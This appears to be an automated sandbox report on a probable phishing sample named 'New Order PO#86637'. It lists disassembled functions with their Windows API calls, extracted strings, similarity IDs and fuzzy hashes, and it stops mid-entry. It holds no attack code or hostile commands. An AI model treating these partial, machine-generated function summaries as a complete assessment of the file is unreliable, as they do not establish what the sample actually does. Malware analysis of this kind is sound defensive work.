Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicoll$IconLoad
String ID: blank$info$question$stop$warning
API String ID: 2485277191-404129466
Opcode ID: 90066845996854fde84de619c40f1fe09919dc61d56db525c82daa747bae1459
Instruction ID: a4c8356a5cb7371e963c7ba7671977edd7eb5cf64b0a9c0e84f2fcb3e6131cad
Opcode Fuzzy Hash: 90066845996854fde84de619c40f1fe09919dc61d56db525c82daa747bae1459
Instruction Fuzzy Hash: 9121A732B4021566DB00AB65BC05FEF3358DB98762F040837FA05E2282E3A9A52093BD

Function 00454639 Relevance: 25.7, APIs: 17, Instructions: 199windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(?,00000063), ref: 0045464C
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0045465E
SetWindowTextW.USER32(?,?), ref: 00454678
GetDlgItem.USER32(?,000003EA), ref: 00454690
SetWindowTextW.USER32(00000000,?), ref: 00454697
GetDlgItem.USER32(?,000003E9), ref: 004546A8
SetWindowTextW.USER32(00000000,?), ref: 004546AF
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 004546D1
SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 004546EB
GetWindowRect.USER32(?,?), ref: 004546F5
SetWindowTextW.USER32(?,?), ref: 00454765
GetDesktopWindow.USER32 ref: 0045476F
GetWindowRect.USER32(00000000), ref: 00454776
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004547C4
GetClientRect.USER32(?,?), ref: 004547D2
PostMessageW.USER32(?,00000005,00000000,00000080), ref: 004547FC
SetTimer.USER32(?,0000040A,?,00000000), ref: 0045483F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 7299b5a8a54a0497ad48b5c2470d2d1877852c465202323cb5b3bdfcc53dc08d
Instruction ID: 23cbb84c7db07f79204f7fb68ef1a354279dd66d41dce19f663d7a5246859b32
Opcode Fuzzy Hash: 7299b5a8a54a0497ad48b5c2470d2d1877852c465202323cb5b3bdfcc53dc08d
Instruction Fuzzy Hash: 06619D75A00705ABD720DFA8CE89F6FB7F8AB48705F00491DEA46A7290D778E944CB54

Function 004649A3 Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 395COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00464B28
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00464B38
GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00464B60
_wcslen.LIBCMT ref: 00464C28
GetCurrentDirectoryW.KERNEL32(00000000,00000000,?), ref: 00464C3C
GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00464C64
_wcslen.LIBCMT ref: 00464CBA
_wcslen.LIBCMT ref: 00464CD0
_wcslen.LIBCMT ref: 00464CEF

Strings

D, xrefs: 004649D0

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$Directory$CurrentSystem
String ID: D
API String ID: 1914653954-2746444292
Opcode ID: 44be7054643fd4ba856d6b2e359bfbfbb3de9f7e14d5395c76b411fe07bee919
Instruction ID: cb0983c86ca1fa87ccea60adda1cf5635047c5df12380c224dcb23d097980814
Opcode Fuzzy Hash: 44be7054643fd4ba856d6b2e359bfbfbb3de9f7e14d5395c76b411fe07bee919
Instruction Fuzzy Hash: 98E101716043409BD710EF65C845B6BB7E4AFC4308F148D2EF98987392EB39E945CB9A

Function 0045CD1E Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 215COMMON

Download Yara Rule

APIs

_wcsncpy.LIBCMT ref: 0045CE39
__wsplitpath.LIBCMT ref: 0045CE78
_wcscat.LIBCMT ref: 0045CE8B
_wcscat.LIBCMT ref: 0045CE9E
GetCurrentDirectoryW.KERNEL32(00000104,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CEB2
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,00000104,?), ref: 0045CEC5

Part of subcall function 00433998: GetFileAttributesW.KERNEL32(?), ref: 0043399F

GetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF05
SetFileAttributesW.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF1D
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF2E
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF3F
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CF53
_wcscpy.LIBCMT ref: 0045CF61
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,?,?,?,?,00000104,?), ref: 0045CFA4

Strings

*.*, xrefs: 0045CF5B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile$_wcscat$__wsplitpath_wcscpy_wcsncpy
String ID: *.*
API String ID: 1153243558-438819550
Opcode ID: 28b8a1e182566b38844f77773a79acdc9f60bea9bca2776be04cde59cc8a5d2f
Instruction ID: eacc2f87ca0c49a88fd160cf35c0ab61f7b8ac52d7ffc0430f804bda47b2a69a
Opcode Fuzzy Hash: 28b8a1e182566b38844f77773a79acdc9f60bea9bca2776be04cde59cc8a5d2f
Instruction Fuzzy Hash: F071D572900208AEDB24DB54CCC5AEEB7B5AB44305F1489ABE805D7242D67C9ECDCB99

Function 0044B98C Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 80COMMON

Download Yara Rule

APIs

__wcsicoll.LIBCMT ref: 0044B9A3
__wcsicoll.LIBCMT ref: 0044B9B9
__wcsicoll.LIBCMT ref: 0044BA50

Strings

RIGHT, xrefs: 0044B9B3
LEFT, xrefs: 0044B99D
SECONDARY, xrefs: 0044BA07
MIDDLE, xrefs: 0044BA4A
MAIN, xrefs: 0044B9D1
PRIMARY, xrefs: 0044B9E3
MENU, xrefs: 0044B9F5

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: __wcsicoll
String ID: LEFT$MAIN$MENU$MIDDLE$PRIMARY$RIGHT$SECONDARY
API String ID: 3832890014-4202584635
Opcode ID: 95885f1eddacfd63033607ac838e89683eff4e7941016429c0898dbf95f86d61
Instruction ID: 3b59ed03df0c76d23b576b9f0bbd6b5c96606bf3e4c0b80e5c93e428ec3f30be
Opcode Fuzzy Hash: 95885f1eddacfd63033607ac838e89683eff4e7941016429c0898dbf95f86d61
Instruction Fuzzy Hash: AB117772A4422512E91072657C03BFF219CCF1177AF14487BF90DE5A82FB4EDA9541ED

Function 0046A07E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 253windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 0046A0C9
GetFocus.USER32 ref: 0046A0DD
GetDlgCtrlID.USER32(00000000), ref: 0046A0E8
PostMessageW.USER32(?,00000111,?,00000000), ref: 0046A13C

Strings

0, xrefs: 0046A23F

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessagePost$CtrlFocus
String ID: 0
API String ID: 1534620443-4108050209
Opcode ID: d1db05db4fd2a56646a253bb82972057caa917eb73d061b61dca20a17b51d953
Instruction ID: bf3f5449e9a8ba554bb586fd0597798874618ae7c394ba8af81d11134a55f14d
Opcode Fuzzy Hash: d1db05db4fd2a56646a253bb82972057caa917eb73d061b61dca20a17b51d953
Instruction Fuzzy Hash: 9791AD71604711AFE710CF14D884BABB7A4FB85314F004A1EF991A7381E7B9D895CBAB

Function 004557E0 Relevance: 23.0, APIs: 11, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?), ref: 004558E3
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00400000,00000000), ref: 0045592C

Strings

tooltips_class32, xrefs: 00455925, 00455A04
,, xrefs: 0045588B

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$CreateDestroy
String ID: ,$tooltips_class32
API String ID: 1109047481-3856767331
Opcode ID: ae2d9903759a545ce0c494cdefa096f9672d9422e9f4a365a31b4f6ccc33a5ca
Instruction ID: 3e2a402d8ef05c983ab6a33f0f0d51d253aadf8c8a2d9d50fdabec1795fb524a
Opcode Fuzzy Hash: ae2d9903759a545ce0c494cdefa096f9672d9422e9f4a365a31b4f6ccc33a5ca
Instruction Fuzzy Hash: AE71AD71650208AFE720CF58DC84FBA77B8FB59310F20851AFD45AB391DA74AD46CB98

Function 00468B0E Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 207windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,00000007,00000000,00000030), ref: 00468BB1
GetMenuItemCount.USER32(?), ref: 00468C45
DeleteMenu.USER32(?,00000005,00000000,?,?,?), ref: 00468CD9
DeleteMenu.USER32(?,00000004,00000000,?,?), ref: 00468CE2
DeleteMenu.USER32(00000000,00000006,00000000,?,00000004,00000000,?,?), ref: 00468CEB
DeleteMenu.USER32(?,00000003,00000000,?,00000004,00000000,?,?), ref: 00468CF4
GetMenuItemCount.USER32 ref: 00468CFD
SetMenuItemInfoW.USER32(?,00000004,00000000,00000030), ref: 00468D35
GetCursorPos.USER32(?), ref: 00468D3F
SetForegroundWindow.USER32(?), ref: 00468D49
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,?,00000003,00000000,?,00000004,00000000,?,?), ref: 00468D5F
PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468D6C

Strings

0, xrefs: 00468B22

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow
String ID: 0
API String ID: 1441871840-4108050209
Opcode ID: 07587df8a471d518792fccb5aa1665f6bc623426d2a925fe0db1080b86145506
Instruction ID: 6d2915cdebcc0779354c8c01805c07fba6dcd836026253be2713676dcba25ca6
Opcode Fuzzy Hash: 07587df8a471d518792fccb5aa1665f6bc623426d2a925fe0db1080b86145506
Instruction Fuzzy Hash: F571A0B0644300BBE720DB58CC45F5AB7A4AF85724F20470EF5656B3D1DBB8B8448B2A

Function 00460879 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 136windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000066,?,00000FFF,00000010,00000001,?,?,00427F75,?,0000138C,?,00000001,?,?,?), ref: 004608A9
LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608B0

Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57

GetModuleHandleW.KERNEL32(00000000,?,?,00000FFF,?,00427F75,?,0000138C,?,00000001,?,?,?,?,?,00000000), ref: 004608D0
LoadStringW.USER32(00000000,?,00427F75,?), ref: 004608D7
__swprintf.LIBCMT ref: 00460915
__swprintf.LIBCMT ref: 0046092D
_wprintf.LIBCMT ref: 004609E1
MessageBoxW.USER32(00000000,?,?,00011010), ref: 004609FA

Strings

Error: , xrefs: 004609AC
%s (%d) : ==> %s: %s %s, xrefs: 004609DC
Line %d (File "%s"):, xrefs: 00460927
Line %d:, xrefs: 0046090F
^ ERROR, xrefs: 00460983

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wcslen_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 3631882475-2268648507
Opcode ID: 34748020dcaf007b6c88f6c4c4dd7bf7ecfb2d58ebabdf7d9dae9be74c8fa7b1
Instruction ID: 03c51728676f919c2e33c8c13cfd5c1cee97c3d48cab2dbcdd3400b30208eb52
Opcode Fuzzy Hash: 34748020dcaf007b6c88f6c4c4dd7bf7ecfb2d58ebabdf7d9dae9be74c8fa7b1
Instruction Fuzzy Hash: F5416071900209ABDB00FB91CD46AEF7778AF44314F44447AF50577192EA786E45CBA9

Function 004716B8 Relevance: 22.7, APIs: 15, Instructions: 179windowCOMMON

Download Yara Rule

APIs

ExtractIconExW.SHELL32(?,?,?,?,00000001), ref: 004716C7
ExtractIconExW.SHELL32(?,000000FF,?,?,00000001), ref: 004716E1
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00471711
SendMessageW.USER32 ref: 00471740
ImageList_Create.COMCTL32(00000010,00000010,00000021,?,00000001,?,?,?,?,?,?,?,?,?,?,00001053), ref: 00471779
SendMessageW.USER32(?,00001003,00000001,00000000), ref: 0047179A
ImageList_Create.COMCTL32(00000020,00000020,00000021,00000000,00000001,?,?,?,?,?,?,?,?,?,?,00001053), ref: 004717B0
SendMessageW.USER32(?,00001003,00000000,00000000), ref: 004717D3
ImageList_ReplaceIcon.COMCTL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 004717F8
ImageList_ReplaceIcon.COMCTL32(00000000,000000FF,?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 00471807
SendMessageW.USER32 ref: 0047184F
SendMessageW.USER32(?,0000104C,00000000,00000002), ref: 00471872
SendMessageW.USER32(?,00001015,00000000,00000000), ref: 00471890
DestroyIcon.USER32(?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 0047189C
DestroyIcon.USER32(?,?,?,?,?,?,?,?,?,?,?,00001053,000000FF,?), ref: 004718A2

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: MessageSend$Icon$ImageList_$CreateDestroyExtractReplace
String ID:
API String ID: 4116747274-0
Opcode ID: 0980e37b37b59800b468ddf3c96ce45e1e3e21a553a40365caf2b501cbb695b2
Instruction ID: aa77b4eb3e0d334a4980849760fe45b072e458157f6a66894e70986bfe60c355
Opcode Fuzzy Hash: 0980e37b37b59800b468ddf3c96ce45e1e3e21a553a40365caf2b501cbb695b2
Instruction Fuzzy Hash: 39617D75A00209AFEB10DF68CD85FEEB7B4FB48710F10855AF618AB2D0D7B4A981CB54

Function 0045FD57 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 227windowsleepCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 0045FDDB
SetMenuItemInfoW.USER32(00000008,00000004,00000000,00000030), ref: 0045FE14
Sleep.KERNEL32(000001F4,?,FFFFFFFF,00000000,00000030,?,?,?,?,?,?), ref: 0045FE26

Strings

0, xrefs: 0045FD6E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: InfoItemMenu$Sleep
String ID: 0
API String ID: 1196289194-4108050209
Opcode ID: 5de70b745d60c46cef08f56f1a5c3a55b51ac4f0ed049d1ad5198b842cd33ee8
Instruction ID: 163fe6e236f433162160dce37f71c375d73f8c96772172175a1e07f10d517f7e
Opcode Fuzzy Hash: 5de70b745d60c46cef08f56f1a5c3a55b51ac4f0ed049d1ad5198b842cd33ee8
Instruction Fuzzy Hash: 12710172500244ABDB20CF55EC49FAFBBA8EB95316F00842FFD0197292C374A94DCB69

Function 004313CA Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0043143E
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0043144F
CreateCompatibleDC.GDI32(00000000), ref: 00431459
SelectObject.GDI32(00000000,?), ref: 00431466
StretchBlt.GDI32(00000000,00000000,00000000,?,?,?,?,?,?,?,00CC0020), ref: 004314CC
GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00431505

Strings

(, xrefs: 004314ED

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
String ID: (
API String ID: 3300687185-3887548279
Opcode ID: 54198b849531af9165e9bec096bf8ea3e4974b91d89a9c814b262d795432971a
Instruction ID: 70523424e9a4c52fdd53d867b9eeb1eac2d89839f103c71a78559f5a5eece38f
Opcode Fuzzy Hash: 54198b849531af9165e9bec096bf8ea3e4974b91d89a9c814b262d795432971a
Instruction Fuzzy Hash: 63514971A00209AFDB14CF98C884FAFBBB8EF49310F10891DFA5997290D774A940CBA4

Function 0045DA73 Relevance: 21.1, APIs: 4, Strings: 8, Instructions: 141COMMON

Download Yara Rule

APIs

Part of subcall function 004536F7: CharLowerBuffW.USER32(?,?), ref: 0045370C

Part of subcall function 00445AE0: _wcslen.LIBCMT ref: 00445AF0

GetDriveTypeW.KERNEL32 ref: 0045DB32
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DB78
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DBB3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0045DBED

Part of subcall function 00402160: _wcslen.LIBCMT ref: 0040216D
Part of subcall function 00402160: _memmove.LIBCMT ref: 00402193

Strings

close cd wait, xrefs: 0045DBD4
closed, xrefs: 0045DAF3, 0045DB1B
wait, xrefs: 0045DB9A
type cdaudio alias cd wait, xrefs: 0045DB5B
close, xrefs: 0045DAE1
set cd door , xrefs: 0045DB7E
open , xrefs: 0045DB41
open, xrefs: 0045DB05

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: SendString$_wcslen$BuffCharDriveLowerType_memmove
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1976180769-4113822522
Opcode ID: a85f7e6fea3b256bd08f49877ae03d0a36a67fa55ca674d77d79428d7feae10a
Instruction ID: 81dc6b2e9a5b1b7ac5bd11c7175921e379baf9e0c2b27e14ed053c07c028f3b1
Opcode Fuzzy Hash: a85f7e6fea3b256bd08f49877ae03d0a36a67fa55ca674d77d79428d7feae10a
Instruction Fuzzy Hash: 75516E715043049FD710EF21C981B5EB3E4BF88304F14896FF995AB292D7B8E909CB5A

Function 00432A10 Relevance: 21.1, APIs: 14, Instructions: 140timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00432A23
_wcslen.LIBCMT ref: 00432A34
_wcslen.LIBCMT ref: 00432A72
_wcsncpy.LIBCMT ref: 00432A86
_wcslen.LIBCMT ref: 00432AA3
_wcsncpy.LIBCMT ref: 00432AB7
_wcslen.LIBCMT ref: 00432AD3
_wcsncpy.LIBCMT ref: 00432A56

Part of subcall function 00413190: __fassign.LIBCMT ref: 00413186

_wcslen.LIBCMT ref: 00432AE3
_wcsncpy.LIBCMT ref: 00432AFB
_wcslen.LIBCMT ref: 00432B1C
_wcsncpy.LIBCMT ref: 00432B30
_wcslen.LIBCMT ref: 00432B4B
_wcsncpy.LIBCMT ref: 00432B5F

Memory Dump Source

